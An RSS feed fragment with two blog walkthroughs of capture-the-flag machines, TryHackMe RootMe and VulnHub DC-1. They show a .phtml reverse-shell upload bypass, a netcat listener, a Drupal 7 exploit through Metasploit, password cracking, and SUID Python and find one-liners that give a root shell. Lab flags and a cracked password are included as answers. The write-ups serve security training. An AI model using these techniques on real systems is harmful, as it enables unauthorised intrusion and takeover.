        <item>
            <title><![CDATA[ TRYHACKME ROOTME]]></title>
            <link>https://medium.com/@shahzadamiad320/tryhackme-rootme-21455f751a62?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/21455f751a62</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Tue, 11 Aug 2026 15:33:45 GMT</pubDate>
            <atom:updated>2026-08-20T12:20:27.182Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛡️ COMPLETE CTF PENETRATION TESTING WRITE-UP</h3><h3>From Web Enumeration → Initial Access → Privilege Escalation → ROOT 👑</h3><p><strong>Target:</strong> 10.49.148.33</p><h3>🗺️ Simple Attack Path</h3><pre>Nmap<br>  ↓<br>/panel<br>  ↓<br>Upload .phtml<br>  ↓<br>Reverse Shell<br>  ↓<br>user.txt<br>  ↓<br>SUID Python<br>  ↓<br>ROOT 👑</pre><h3>1. 🔎 Scanning the Target</h3><p>First, I opened the target IP in my browser:</p><pre>http://10.49.148.33</pre><p>The website showed a simple RootMe page with the message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrfGYh73kFAhPIAJ87bg6Q.png" /></figure><blockquote><em>Can you root me?</em></blockquote><p>So, before doing anything else, I started with <strong>Nmap</strong>.</p><pre>nmap -sC -sV -v 10.49.148.33</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFWTX6mZPK1xEaiFCZ5wcQ.png" /></figure><p>The scan showed <strong>2 open ports</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgER6tPjmfAHhcbRmvW-fg.png" /></figure><p>It also showed that the web server was running:</p><pre>Apache 2.4.41</pre><h3>Answers</h3><ul><li><strong>Open ports:</strong> 2</li><li><strong>Apache version:</strong> 2.4.41</li><li><strong>Port 22 service:</strong> SSH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TmT40EKzLdT5ZZfnfsAfyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfEM0H0BYVD9b_V0a863vA.png" /></figure><p>Since port 80 was running a website, I continued with web enumeration.</p><h3>2. 🌐 Finding the Hidden Directory</h3><p>The homepage didn’t give me much information, so I searched for hidden directories using Gobuster.</p><pre>gobuster dir -u http://10.49.148.33/ -w &lt;wordlist&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6xbnF3ePMoydvuoqpQuZ4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmZ2-MaclNAohL6bUdQ9_A.png" /></figure><p>Gobuster discovered:</p><pre>/panel</pre><p>I opened:</p><pre>http://10.49.148.33/panel</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7Bw-HvdJDvpdrGMpQxVhA.png" /></figure><p>And found a <strong>file upload page</strong>.</p><p>This was interesting because file-upload functionality can sometimes be abused to execute code on the server.</p><h3>3. 📤 Uploading a Reverse Shell</h3><p>I prepared a PHP reverse shell and configured it with my attacking machine’s IP and port 1234.</p><p>First, I tried uploading:</p><pre>shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtYtusk_dxbE8sc9dAqAqQ.png" /></figure><p>But the website rejected it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngD6mxAThxMMhCwjN1UFCw.png" /></figure><h3>❌ .php → Rejected</h3><p>I suspected that the application was blocking the .php extension.</p><p>So I changed the filename to:</p><pre>shell.phtml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*dBzta6Hz_7nLZ8HAspT27w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZo2EsTDs3NTgEK1q1lWXQ.png" /></figure><p>I uploaded it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KibSP1gXRfXXu_dro9wTBg.png" /></figure><h3>✅ .phtml → Accepted!</h3><p>This showed that the application was filtering .php, but it wasn&#39;t properly blocking another PHP-compatible extension.</p><h3>4. 🐚 Getting the Reverse Shell</h3><p>Before executing the uploaded file, I started a Netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7itraHmTx8s9jPV94NghQ.png" /></figure><pre>nc -lvnp 1234</pre><p>Then I visited:</p><pre>http://10.49.148.33/uploads/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJpbY1YX8Pv88mTznc6TnA.png" /></figure><p>I found my uploaded file:</p><pre>php-reverse-shell.phtml</pre><p>When I clicked it, the reverse shell connected back to my machine.</p><p>🎉 <strong>I got a shell!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*fB2ZXodaL7-MZ9fxStiGow.png" /></figure><h3>5. 🛠️ Making the Shell Better</h3><p>The shell I received wasn’t very comfortable to use.</p><p>So I upgraded it with Python:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Then:</p><pre>export TERM=xterm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*UAo8LNIIrQBeR15H5T2_zw.png" /></figure><p>Now I had a much better interactive shell.</p><h3>6. 🏆 Finding the User Flag</h3><p>The TryHackMe task told me as a hint to find user.txt</p><p>I searched for it:</p><pre>find / -type f -name user.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*_QZkvnyDpJhz8XTnwbFiEQ.png" /></figure><p>I found:</p><pre>/var/www/user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*iwdEznFQOH4n1C21101JDA.png" /></figure><p>Then I read it:</p><pre>cat /var/www/user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*X0wilM0ebiKpSMTiie2AqQ.png" /></figure><h3>🏆 User Flag</h3><pre>THM{y0u_g0t_a_sh3ll}</pre><p>The first part was complete.</p><p>But I still needed <strong>root access</strong>.</p><h3>7. 🔐 Looking for Privilege Escalation</h3><p>Now I needed to find a way to become root.</p><p>The TryHackMe hint mentioned <strong>SUID files</strong>, so I searched for SUID binaries:</p><pre>find / -type f -user root -perm /4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*g0Jm-GyVRbPzI6ZF30nk1A.png" /></figure><p>Among the results, I found something very interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*GiRgmaxEfDMpuYd_MKNBrA.png" /></figure><pre>/usr/bin/python</pre><p>Python normally shouldn’t have SUID privileges because it can be used to execute commands.</p><p>I submitted:</p><pre>/usr/bin/python</pre><p>as the answer.</p><p>✅ Correct!</p><h3>8. ⬆️ Escalating to Root</h3><p>The TryHackMe hint pointed me toward <strong>GTFOBins</strong>.</p><p>I searched for Python on GTFOBins and found a technique for abusing a SUID Python binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxDHvu-1Albftw6w4dj23w.png" /></figure><p>I used:</p><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*o7XbfbucC0wOGNhjGNjsqw.png" /></figure><p>Then I checked my current user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*84KTIr6xfat8AQDTMMG1_A.png" /></figure><pre>whoami</pre><p>The result was:</p><pre>root</pre><h3>👑 ROOT ACCESS!</h3><h3>9. 🏆 Finding the Root Flag</h3><p>Now that I was root, I went to the root directory:</p><pre>cd /root</pre><p>Then:</p><pre>ls</pre><p>I found:</p><pre>root.txt</pre><p>Finally:</p><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*QMS66ERYQze-db3S7-jmyw.png" /></figure><h3>🏆 Root Flag</h3><pre>THM{pr1v1l3g3_3sc4l4t10n}</pre><h3>🎯 Final Attack Chain</h3><pre>Nmap<br> ↓<br>Find /panel<br> ↓<br>Upload .phtml reverse shell<br> ↓<br>Get shell<br> ↓<br>Find user.txt<br> ↓<br>Find SUID Python<br> ↓<br>GTFOBins<br> ↓<br>Become root<br> ↓<br>Get root.txt</pre><h3>🏆 Flags</h3><p><strong>User Flag</strong></p><pre>THM{y0u_g0t_a_sh3ll}</pre><p><strong>Root Flag</strong></p><pre>THM{pr1v1l3g3_3sc4l4t10n}</pre><h3>💡 What This Machine Taught Me</h3><p>The RootMe machine was mainly about two things:</p><h3>🌐 1. Web Enumeration</h3><p>Finding the hidden /panel directory led to the vulnerable file-upload functionality.</p><h3>🔐 2. Linux Privilege Escalation</h3><p>After getting a shell, checking SUID files revealed:</p><pre>/usr/bin/python</pre><p>That eventually allowed me to become root.</p><h3>👑 Conclusion</h3><p>The complete process was actually quite simple:</p><blockquote><strong><em>Find the website → find </em></strong><strong><em>/panel → bypass the upload restriction → get a shell → find SUID Python → become root.</em></strong></blockquote><p>This machine was a great introduction to the basic penetration-testing workflow:</p><p><strong>Enumeration → Initial Access → Shell → Privilege Escalation → Root.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIH5yWaMG05RIdT-uGbZhQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21455f751a62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-1 VulnHub Walkthrough]]></title>
            <link>https://medium.com/@shahzadamiad320/dc-1-vulnhub-walkthrough-74df78ceeb8c?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/74df78ceeb8c</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 06:12:33 GMT</pubDate>
            <atom:updated>2026-08-20T12:25:25.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objective</h3><p>The goal of this machine is to enumerate the target, exploit a vulnerable Drupal installation, obtain user credentials, and escalate privileges to root while collecting all flags.</p><h3>Information Gathering</h3><h3>Discovering the Target IP</h3><p>First, I identified the IP address of the vulnerable machine using <strong>Netdiscover</strong>:</p><pre>netdiscover -r 192.168.56.0/24</pre><p>The target machine was found at:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JyhC1p0j2ecu3pK_ZN38vw.png" /></figure><pre>192.168.56.101</pre><h3>Port Scanning</h3><p>Next, I performed an Nmap scan to identify open ports and running services:</p><pre>nmap -sC -sV 192.168.56.101</pre><p>The scan revealed several open services, including a web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLN-tDMRnaJM9T_u7aFzow.png" /></figure><h3>Web Enumeration</h3><p>I entered the target IP address into Firefox:</p><pre>http://192.168.56.101</pre><p>The page displayed a Drupal website.</p><p>To identify the version, I viewed the page source and found that the website was running <strong>Drupal 7</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*p3BVjARopWPbpiNfUakCPw.png" /></figure><h3>Searching for Vulnerabilities</h3><p>Since Drupal 7 is known to contain multiple vulnerabilities, I used Searchsploit to search for publicly available exploits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*aVcn71qQiqWYJ62EcL2G6g.png" /></figure><pre>searchsploit drupal 7</pre><p>Among the results, I found a Remote Code Execution (RCE) vulnerability affecting Drupal 7.</p><h3>Exploitation Using Metasploit</h3><p>I launched Metasploit:</p><pre>msfconsole</pre><p>Then I searched for Drupal-related modules:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*6aYzg8joqVnnoNlU1xNV4Q.png" /></figure><pre>search drupal 7</pre><p>After identifying the appropriate exploit, I configured the required options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*62c3ctBktJ8fPx_bmXBsMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*0BbJ1xogBgnRm2a1xLGUyg.png" /></figure><pre>set RHOSTS 192.168.56.101<br>set LHOST  192.168.56.102</pre><p>After running the exploit, I obtained a Meterpreter session.</p><h3>Obtaining an Interactive Shell</h3><p>Inside the Meterpreter session, I gathered system information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pItEOwAzqi2N8OK8tyJ-8g.png" /></figure><pre>sysinfo</pre><p>Then I spawned a shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*NVJ2Vh5ZRTazOYFo5M9F9Q.png" /></figure><pre>shell</pre><p>To obtain a fully interactive shell, I used Python:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>I listed the files in the current directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*sKBITXsLoL5aeHolwRkt_Q.png" /></figure><pre>ls</pre><p>and found:</p><pre>flag1.txt</pre><p>Reading the file:</p><pre>cat flag1.txt</pre><p>revealed the first clue:</p><pre>Every good CMS needs a config file - and so do you.</pre><h3>Finding the Configuration File</h3><p>I searched online for the location of the Drupal configuration file and found that it is typically stored at:</p><pre>sites/default/settings.php</pre><p>After navigating to this file, I discovered <strong>Flag 2</strong> and also found database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*GhkmFoH8zGnmKWbbw6dUJg.png" /></figure><h3>Database Enumeration</h3><p>Using the credentials from settings.php, I connected to the database and enumerated its contents.</p><p>Eventually, I located the users table containing the administrator account and its password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*cPDS8UBVHL0IDYsBo-X_KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*ZQ2p-EKP35nR82NVXVx0kw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*DkM2aZ1mU9Ge9aPaP_l6YA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*geL7b_xEzO8HvxvML3RJcA.png" /></figure><h3>Password Cracking</h3><p>I saved the password hash and used John the Ripper to crack it:</p><pre>john hash.txt</pre><p>The password was recovered as:</p><pre>53cr3t</pre><h3>Logging into Drupal</h3><p>Using the recovered credentials, I logged into the Drupal administration panel.</p><p>After successful authentication, I found <strong>Flag 3</strong> displayed on the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4EKhwQhJBeeI3wKggtlbA.png" /></figure><h3>Discovering Flag 4</h3><p>Further enumeration revealed <strong>Flag 4</strong> inside the home directory.</p><p>At this stage, user-level access had been achieved, and privilege escalation was required to obtain root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGScFET6n46Fq8_yEKWYkQ.png" /></figure><h3>Privilege Escalation</h3><p>To enumerate SUID binaries, I ran:</p><pre>find / -type f -perm -4000 2&gt;/dev/null</pre><p>Among the results, the find binary had the SUID bit set.</p><p>I checked GTFOBins and found a privilege escalation technique for find.</p><p>Using:</p><pre>find . -exec /bin/sh -p \; -quit</pre><p>I successfully spawned a privileged shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9U9yQ2QkUyXdnKcv0C7BA.png" /></figure><h3>Root Access</h3><p>After obtaining elevated privileges, I navigated to the root directory:</p><pre>cd /root<br>ls</pre><p>There I found:</p><pre>finalflag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZL_oaW0Il0rReQRwNZDVPw.png" /></figure><p>Reading the file completed the challenge.</p><h3>Conclusion</h3><p>In this walkthrough, I:</p><ol><li>Discovered the target IP using Netdiscover.</li><li>Enumerated services with Nmap.</li><li>Identified a Drupal 7 installation.</li><li>Discovered a Drupal RCE vulnerability using Searchsploit.</li><li>Exploited the vulnerability with Metasploit.</li><li>Obtained an interactive shell and collected Flag 1.</li><li>Located settings.php and discovered Flag 2 and database credentials.</li><li>Enumerated the database and extracted the administrator password hash.</li><li>Cracked the hash using John the Ripper and obtained the password 53cr3t.</li><li>sLogged into Drupal and obtained Flag 3.</li><li>Located Flag 4.</li><li>Enumerated SUID binaries and abused the find binary for privilege escalation.</li><li>Obtained root access and retrieved the final flag.</li></ol><p>This machine demonstrates the importance of proper patch management, secure credential storage, and restricting dangerous SUID binaries.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74df78ceeb8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>